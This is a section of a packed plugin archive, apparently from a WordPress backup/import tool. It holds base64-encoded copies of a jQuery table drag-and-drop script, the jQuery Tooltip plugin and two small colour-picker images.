ICAgICAgLy8gSWYgd2UgaGF2ZSBhIGRyYWdPYmplY3QsIHRoZW4gd2UgbmVlZCB0byByZWxlYXNlIGl0LAogICAgICAgICAgICAvLyBUaGUgcm93IHdpbGwgYWxyZWFkeSBoYXZlIGJlZW4gbW92ZWQgdG8gdGhlIHJpZ2h0IHBsYWNlIHNvIHdlIGp1c3QgcmVzZXQgc3R1ZmYKCQkJaWYgKGNvbmZpZy5vbkRyYWdDbGFzcykgewoJICAgICAgICAgICAgalF1ZXJ5KGRyb3BwZWRSb3cpLnJlbW92ZUNsYXNzKGNvbmZpZy5vbkRyYWdDbGFzcyk7CgkJCX0gZWxzZSB7CgkgICAgICAgICAgICBqUXVlcnkoZHJvcHBlZFJvdykuY3NzKGNvbmZpZy5vbkRyb3BTdHlsZSk7CgkJCX0KICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELmRyYWdPYmplY3QgICA9IG51bGw7CiAgICAgICAgICAgIGlmIChjb25maWcub25Ecm9wKSB7CiAgICAgICAgICAgICAgICAvLyBDYWxsIHRoZSBvbkRyb3AgbWV0aG9kIGlmIHRoZXJlIGlzIG9uZQogICAgICAgICAgICAgICAgY29uZmlnLm9uRHJvcChqUXVlcnkudGFibGVEbkQuY3VycmVudFRhYmxlLCBkcm9wcGVkUm93KTsKICAgICAgICAgICAgfQogICAgICAgICAgICBqUXVlcnkudGFibGVEbkQuY3VycmVudFRhYmxlID0gbnVsbDsgLy8gbGV0IGdvIG9mIHRoZSB0YWJsZSB0b28KICAgICAgICB9CiAgICB9LAoKICAgIHNlcmlhbGl6ZTogZnVuY3Rpb24oKSB7CiAgICAgICAgaWYgKGpRdWVyeS50YWJsZURuRC5jdXJyZW50VGFibGUpIHsKICAgICAgICAgICAgcmV0dXJuIGpRdWVyeS50YWJsZURuRC5zZXJpYWxpemVUYWJsZShqUXVlcnkudGFibGVEbkQuY3VycmVudFRhYmxlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICByZXR1cm4gIkVycm9yOiBObyBUYWJsZSBpZCBzZXQsIHlvdSBuZWVkIHRvIHNldCBhbiBpZCBvbiB5b3VyIHRhYmxlIGFuZCBldmVyeSByb3ciOwogICAgICAgIH0KICAgIH0sCgoJc2VyaWFsaXplVGFibGU6IGZ1bmN0aW9uKHRhYmxlKSB7CiAgICAgICAgdmFyIHJlc3VsdCA9ICIiOwogICAgICAgIHZhciB0YWJsZUlkID0gdGFibGUuaWQ7CiAgICAgICAgdmFyIHJvd3MgPSB0YWJsZS5yb3dzOwogICAgICAgIGZvciAodmFyIGk9MDsgaTxyb3dzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGlmIChyZXN1bHQubGVuZ3RoID4gMCkgcmVzdWx0ICs9ICImIjsKICAgICAgICAgICAgdmFyIHJvd0lkID0gcm93c1tpXS5pZDsKICAgICAgICAgICAgaWYgKHJvd0lkICYmIHJvd0lkICYmIHRhYmxlLnRhYmxlRG5EQ29uZmlnICYmIHRhYmxlLnRhYmxlRG5EQ29uZmlnLnNlcmlhbGl6ZVJlZ2V4cCkgewogICAgICAgICAgICAgICAgcm93SWQgPSByb3dJZC5tYXRjaCh0YWJsZS50YWJsZURuRENvbmZpZy5zZXJpYWxpemVSZWdleHApWzBdOwogICAgICAgICAgICB9CgogICAgICAgICAgICByZXN1bHQgKz0gdGFibGVJZCArICdbXT0nICsgcm93SWQ7CiAgICAgICAgfQogICAgICAgIHJldHVybiByZXN1bHQ7Cgl9LAoKCXNlcmlhbGl6ZVRhYmxlczogZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHJlc3VsdCA9ICIiOwogICAgICAgIHRoaXMuZWFjaChmdW5jdGlvbigpIHsKCQkJLy8gdGhpcyBpcyBub3cgYm91bmQgdG8gZWFjaCBtYXRjaGluZyB0YWJsZQoJCQlyZXN1bHQgKz0galF1ZXJ5LnRhYmxlRG5ELnNlcmlhbGl6ZVRhYmxlKHRoaXMpOwoJCX0pOwogICAgICAgIHJldHVybiByZXN1bHQ7CiAgICB9Cgp9CgpqUXVlcnkuZm4uZXh0ZW5kKAoJewoJCXRhYmxlRG5EIDogalF1ZXJ5LnRhYmxlRG5ELmJ1aWxkLAoJCXRhYmxlRG5EVXBkYXRlIDogalF1ZXJ5LnRhYmxlRG5ELnVwZGF0ZVRhYmxlcywKCQl0YWJsZURuRFNlcmlhbGl6ZTogalF1ZXJ5LnRhYmxlRG5ELnNlcmlhbGl6ZVRhYmxlcwoJfQopOw==
###PACKDATA,FILE_END,/pluginbuddy/js/tablednd.js,importbuddy/pluginbuddy/js/tablednd.js
###PACKDATA,FILE_START,/pluginbuddy/js/tooltip.js,importbuddy/pluginbuddy/js/tooltip.js
LyoKICogalF1ZXJ5IFRvb2x0aXAgcGx1Z2luIDEuMwogKgogKiBodHRwOi8vYmFzc2lzdGFuY2UuZGUvanF1ZXJ5LXBsdWdpbnMvanF1ZXJ5LXBsdWdpbi10b29sdGlwLwogKiBodHRwOi8vZG9jcy5qcXVlcnkuY29tL1BsdWdpbnMvVG9vbHRpcAogKgogKiBDb3B5cmlnaHQgKGMpIDIwMDYgLSAyMDA4IErDtnJuIFphZWZmZXJlcgogKgogKiAkSWQ6IGpxdWVyeS50b29sdGlwLmpzIDU3NDEgMjAwOC0wNi0yMSAxNToyMjoxNlogam9lcm4uemFlZmZlcmVyICQKICogCiAqIER1YWwgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBhbmQgR1BMIGxpY2Vuc2VzOgogKiAgIGh0dHA6Ly93d3cub3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvbWl0LWxpY2Vuc2UucGhwCiAqICAgaHR0cDovL3d3dy5nbnUub3JnL2xpY2Vuc2VzL2dwbC5odG1sCiAqLwogCiAKIAogCiBpZiAoICd1bmRlZmluZWQnID09IHR5cGVvZiBqUXVlcnkuYnJvd3NlciApIHsKCWpRdWVyeS5icm93c2VyPXt9OyhmdW5jdGlvbigpe2pRdWVyeS5icm93c2VyLm1zaWU9ZmFsc2U7CglqUXVlcnkuYnJvd3Nlci52ZXJzaW9uPTA7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5tYXRjaCgvTVNJRSAoWzAtOV0rKVwuLykpewoJalF1ZXJ5LmJyb3dzZXIubXNpZT10cnVlO2pRdWVyeS5icm93c2VyLnZlcnNpb249UmVnRXhwLiQxO319KSgpOwp9CiAKIDsoZnVuY3Rpb24oJCl7dmFyIGhlbHBlcj17fSxjdXJyZW50LHRpdGxlLHRJRCxJRT0kLmJyb3dzZXIubXNpZSYmL01TSUVccyg1XC41fDZcLikvLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCksdHJhY2s9ZmFsc2U7JC50b29sdGlwPXtibG9ja2VkOmZhbHNlLGRlZmF1bHRzOntkZWxheToyMDAsZmFkZTpmYWxzZSxzaG93VVJMOnRydWUsZXh0cmFDbGFzczoiIix0b3A6MTUsbGVmdDoxNSxpZDoidG9vbHRpcCJ9LGJsb2NrOmZ1bmN0aW9uKCl7JC50b29sdGlwLmJsb2NrZWQ9ISQudG9vbHRpcC5ibG9ja2VkO319OyQuZm4uZXh0ZW5kKHt0b29sdGlwOmZ1bmN0aW9uKHNldHRpbmdzKXtzZXR0aW5ncz0kLmV4dGVuZCh7fSwkLnRvb2x0aXAuZGVmYXVsdHMsc2V0dGluZ3MpO2NyZWF0ZUhlbHBlcihzZXR0aW5ncyk7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpeyQuZGF0YSh0aGlzLCJ0b29sdGlwIixzZXR0aW5ncyk7dGhpcy50T3BhY2l0eT1oZWxwZXIucGFyZW50LmNzcygib3BhY2l0eSIpO3RoaXMudG9vbHRpcFRleHQ9dGhpcy50aXRsZTskKHRoaXMpLnJlbW92ZUF0dHIoInRpdGxlIik7dGhpcy5hbHQ9IiI7fSkubW91c2VvdmVyKHNhdmUpLm1vdXNlb3V0KGhpZGUpLmNsaWNrKGhpZGUpO30sZml4UE5HOklFP2Z1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe3ZhciBpbWFnZT0kKHRoaXMpLmNzcygnYmFja2dyb3VuZEltYWdlJyk7aWYoaW1hZ2UubWF0Y2goL151cmxcKFsiJ10/KC4qXC5wbmcpWyInXT9cKSQvaSkpe2ltYWdlPVJlZ0V4cC4kMTskKHRoaXMpLmNzcyh7J2JhY2tncm91bmRJbWFnZSc6J25vbmUnLCdmaWx0ZXInOiJwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuQWxwaGFJbWFnZUxvYWRlcihlbmFibGVkPXRydWUsIHNpemluZ01ldGhvZD1jcm9wLCBzcmM9JyIraW1hZ2UrIicpIn0pLmVhY2goZnVuY3Rpb24oKXt2YXIgcG9zaXRpb249JCh0aGlzKS5jc3MoJ3Bvc2l0aW9uJyk7aWYocG9zaXRpb24hPSdhYnNvbHV0ZScmJnBvc2l0aW9uIT0ncmVsYXRpdmUnKSQodGhpcykuY3NzKCdwb3NpdGlvbicsJ3JlbGF0aXZlJyk7fSk7fX0pO306ZnVuY3Rpb24oKXtyZXR1cm4gdGhpczt9LHVuZml4UE5HOklFP2Z1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpeyQodGhpcykuY3NzKHsnZmlsdGVyJzonJyxiYWNrZ3JvdW5kSW1hZ2U6Jyd9KTt9KTt9OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXM7fSxoaWRlV2hlbkVtcHR5OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpeyQodGhpcylbJCh0aGlzKS5odG1sKCk/InNob3ciOiJoaWRlIl0oKTt9KTt9LHVybDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmF0dHIoJ2hyZWYnKXx8dGhpcy5hdHRyKCdzcmMnKTt9fSk7ZnVuY3Rpb24gY3JlYXRlSGVscGVyKHNldHRpbmdzKXtpZihoZWxwZXIucGFyZW50KXJldHVybjtoZWxwZXIucGFyZW50PSQoJzxkaXYgaWQ9Iicrc2V0dGluZ3MuaWQrJyI+PGgzPjwvaDM+PGRpdiBjbGFzcz0iYm9keSI+PC9kaXY+PGRpdiBjbGFzcz0idXJsIj48L2Rpdj48L2Rpdj4nKS5hcHBlbmRUbyhkb2N1bWVudC5ib2R5KS5oaWRlKCk7aWYoJC5mbi5iZ2lmcmFtZSloZWxwZXIucGFyZW50LmJnaWZyYW1lKCk7aGVscGVyLnRpdGxlPSQoJ2gzJyxoZWxwZXIucGFyZW50KTtoZWxwZXIuYm9keT0kKCdkaXYuYm9keScsaGVscGVyLnBhcmVudCk7aGVscGVyLnVybD0kKCdkaXYudXJsJyxoZWxwZXIucGFyZW50KTt9ZnVuY3Rpb24gc2V0dGluZ3MoZWxlbWVudCl7cmV0dXJuICQuZGF0YShlbGVtZW50LCJ0b29sdGlwIik7fWZ1bmN0aW9uIGhhbmRsZShldmVudCl7aWYoc2V0dGluZ3ModGhpcykuZGVsYXkpdElEPXNldFRpbWVvdXQoc2hvdyxzZXR0aW5ncyh0aGlzKS5kZWxheSk7ZWxzZQpzaG93KCk7dHJhY2s9ISFzZXR0aW5ncyh0aGlzKS50cmFjazskKGRvY3VtZW50LmJvZHkpLmJpbmQoJ21vdXNlbW92ZScsdXBkYXRlKTt1cGRhdGUoZXZlbnQpO31mdW5jdGlvbiBzYXZlKCl7aWYoJC50b29sdGlwLmJsb2NrZWR8fHRoaXM9PWN1cnJlbnR8fCghdGhpcy50b29sdGlwVGV4dCYmIXNldHRpbmdzKHRoaXMpLmJvZHlIYW5kbGVyKSlyZXR1cm47Y3VycmVudD10aGlzO3RpdGxlPXRoaXMudG9vbHRpcFRleHQ7aWYoc2V0dGluZ3ModGhpcykuYm9keUhhbmRsZXIpe2hlbHBlci50aXRsZS5oaWRlKCk7dmFyIGJvZHlDb250ZW50PXNldHRpbmdzKHRoaXMpLmJvZHlIYW5kbGVyLmNhbGwodGhpcyk7aWYoYm9keUNvbnRlbnQubm9kZVR5cGV8fGJvZHlDb250ZW50LmpxdWVyeSl7aGVscGVyLmJvZHkuZW1wdHkoKS5hcHBlbmQoYm9keUNvbnRlbnQpfWVsc2V7aGVscGVyLmJvZHkuaHRtbChib2R5Q29udGVudCk7fWhlbHBlci5ib2R5LnNob3coKTt9ZWxzZSBpZihzZXR0aW5ncyh0aGlzKS5zaG93Qm9keSl7dmFyIHBhcnRzPXRpdGxlLnNwbGl0KHNldHRpbmdzKHRoaXMpLnNob3dCb2R5KTtoZWxwZXIudGl0bGUuaHRtbChwYXJ0cy5zaGlmdCgpKS5zaG93KCk7aGVscGVyLmJvZHkuZW1wdHkoKTtmb3IodmFyIGk9MCxwYXJ0OyhwYXJ0PXBhcnRzW2ldKTtpKyspe2lmKGk+MCloZWxwZXIuYm9keS5hcHBlbmQoIjxici8+Iik7aGVscGVyLmJvZHkuYXBwZW5kKHBhcnQpO31oZWxwZXIuYm9keS5oaWRlV2hlbkVtcHR5KCk7fWVsc2V7aGVscGVyLnRpdGxlLmh0bWwodGl0bGUpLnNob3coKTtoZWxwZXIuYm9keS5oaWRlKCk7fWlmKHNldHRpbmdzKHRoaXMpLnNob3dVUkwmJiQodGhpcykudXJsKCkpaGVscGVyLnVybC5odG1sKCQodGhpcykudXJsKCkucmVwbGFjZSgnaHR0cDovLycsJycpKS5zaG93KCk7ZWxzZQpoZWxwZXIudXJsLmhpZGUoKTtoZWxwZXIucGFyZW50LmFkZENsYXNzKHNldHRpbmdzKHRoaXMpLmV4dHJhQ2xhc3MpO2lmKHNldHRpbmdzKHRoaXMpLmZpeFBORyloZWxwZXIucGFyZW50LmZpeFBORygpO2hhbmRsZS5hcHBseSh0aGlzLGFyZ3VtZW50cyk7fWZ1bmN0aW9uIHNob3coKXt0SUQ9bnVsbDtpZigoIUlFfHwhJC5mbi5iZ2lmcmFtZSkmJnNldHRpbmdzKGN1cnJlbnQpLmZhZGUpe2lmKGhlbHBlci5wYXJlbnQuaXMoIjphbmltYXRlZCIpKWhlbHBlci5wYXJlbnQuc3RvcCgpLnNob3coKS5mYWRlVG8oc2V0dGluZ3MoY3VycmVudCkuZmFkZSxjdXJyZW50LnRPcGFjaXR5KTtlbHNlCmhlbHBlci5wYXJlbnQuaXMoJzp2aXNpYmxlJyk/aGVscGVyLnBhcmVudC5mYWRlVG8oc2V0dGluZ3MoY3VycmVudCkuZmFkZSxjdXJyZW50LnRPcGFjaXR5KTpoZWxwZXIucGFyZW50LmZhZGVJbihzZXR0aW5ncyhjdXJyZW50KS5mYWRlKTt9ZWxzZXtoZWxwZXIucGFyZW50LnNob3coKTt9dXBkYXRlKCk7fWZ1bmN0aW9uIHVwZGF0ZShldmVudCl7aWYoJC50b29sdGlwLmJsb2NrZWQpcmV0dXJuO2lmKGV2ZW50JiZldmVudC50YXJnZXQudGFnTmFtZT09Ik9QVElPTiIpe3JldHVybjt9aWYoIXRyYWNrJiZoZWxwZXIucGFyZW50LmlzKCI6dmlzaWJsZSIpKXskKGRvY3VtZW50LmJvZHkpLnVuYmluZCgnbW91c2Vtb3ZlJyx1cGRhdGUpfWlmKGN1cnJlbnQ9PW51bGwpeyQoZG9jdW1lbnQuYm9keSkudW5iaW5kKCdtb3VzZW1vdmUnLHVwZGF0ZSk7cmV0dXJuO31oZWxwZXIucGFyZW50LnJlbW92ZUNsYXNzKCJ2aWV3cG9ydC1yaWdodCIpLnJlbW92ZUNsYXNzKCJ2aWV3cG9ydC1ib3R0b20iKTt2YXIgbGVmdD1oZWxwZXIucGFyZW50WzBdLm9mZnNldExlZnQ7dmFyIHRvcD1oZWxwZXIucGFyZW50WzBdLm9mZnNldFRvcDtpZihldmVudCl7bGVmdD1ldmVudC5wYWdlWCtzZXR0aW5ncyhjdXJyZW50KS5sZWZ0O3RvcD1ldmVudC5wYWdlWStzZXR0aW5ncyhjdXJyZW50KS50b3A7dmFyIHJpZ2h0PSdhdXRvJztpZihzZXR0aW5ncyhjdXJyZW50KS5wb3NpdGlvbkxlZnQpe3JpZ2h0PSQod2luZG93KS53aWR0aCgpLWxlZnQ7bGVmdD0nYXV0byc7fWhlbHBlci5wYXJlbnQuY3NzKHtsZWZ0OmxlZnQscmlnaHQ6cmlnaHQsdG9wOnRvcH0pO312YXIgdj12aWV3cG9ydCgpLGg9aGVscGVyLnBhcmVudFswXTtpZih2Lngrdi5jeDxoLm9mZnNldExlZnQraC5vZmZzZXRXaWR0aCl7bGVmdC09aC5vZmZzZXRXaWR0aCsyMCtzZXR0aW5ncyhjdXJyZW50KS5sZWZ0O2hlbHBlci5wYXJlbnQuY3NzKHtsZWZ0OmxlZnQrJ3B4J30pLmFkZENsYXNzKCJ2aWV3cG9ydC1yaWdodCIpO31pZih2Lnkrdi5jeTxoLm9mZnNldFRvcCtoLm9mZnNldEhlaWdodCl7dG9wLT1oLm9mZnNldEhlaWdodCsyMCtzZXR0aW5ncyhjdXJyZW50KS50b3A7aGVscGVyLnBhcmVudC5jc3Moe3RvcDp0b3ArJ3B4J30pLmFkZENsYXNzKCJ2aWV3cG9ydC1ib3R0b20iKTt9fWZ1bmN0aW9uIHZpZXdwb3J0KCl7cmV0dXJue3g6JCh3aW5kb3cpLnNjcm9sbExlZnQoKSx5OiQod2luZG93KS5zY3JvbGxUb3AoKSxjeDokKHdpbmRvdykud2lkdGgoKSxjeTokKHdpbmRvdykuaGVpZ2h0KCl9O31mdW5jdGlvbiBoaWRlKGV2ZW50KXtpZigkLnRvb2x0aXAuYmxvY2tlZClyZXR1cm47aWYodElEKWNsZWFyVGltZW91dCh0SUQpO2N1cnJlbnQ9bnVsbDt2YXIgdHNldHRpbmdzPXNldHRpbmdzKHRoaXMpO2Z1bmN0aW9uIGNvbXBsZXRlKCl7aGVscGVyLnBhcmVudC5yZW1vdmVDbGFzcyh0c2V0dGluZ3MuZXh0cmFDbGFzcykuaGlkZSgpLmNzcygib3BhY2l0eSIsIiIpO31pZigoIUlFfHwhJC5mbi5iZ2lmcmFtZSkmJnRzZXR0aW5ncy5mYWRlKXtpZihoZWxwZXIucGFyZW50LmlzKCc6YW5pbWF0ZWQnKSloZWxwZXIucGFyZW50LnN0b3AoKS5mYWRlVG8odHNldHRpbmdzLmZhZGUsMCxjb21wbGV0ZSk7ZWxzZQpoZWxwZXIucGFyZW50LnN0b3AoKS5mYWRlT3V0KHRzZXR0aW5ncy5mYWRlLGNvbXBsZXRlKTt9ZWxzZQpjb21wbGV0ZSgpO2lmKHNldHRpbmdzKHRoaXMpLmZpeFBORyloZWxwZXIucGFyZW50LnVuZml4UE5HKCk7fX0pKGpRdWVyeSk7Cg==
###PACKDATA,FILE_END,/pluginbuddy/js/tooltip.js,importbuddy/pluginbuddy/js/tooltip.js
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/circle.gif,importbuddy/pluginbuddy/images/minicolors/circle.gif
R0lGODlhCwALAJECAAAAAP///////wAAACH5BAEAAAIALAAAAAALAAsAAAIflINoG+AeGFgGxEaXxVns2X2dh4CZJXBadDxQlihGAQA7
###PACKDATA,FILE_END,/pluginbuddy/images/minicolors/circle.gif,importbuddy/pluginbuddy/images/minicolors/circle.gif
###PACKDATA,FILE_START,/pluginbuddy/images/minicolors/gradient.png,importbuddy/pluginbuddy/images/minicolors/gradient.png
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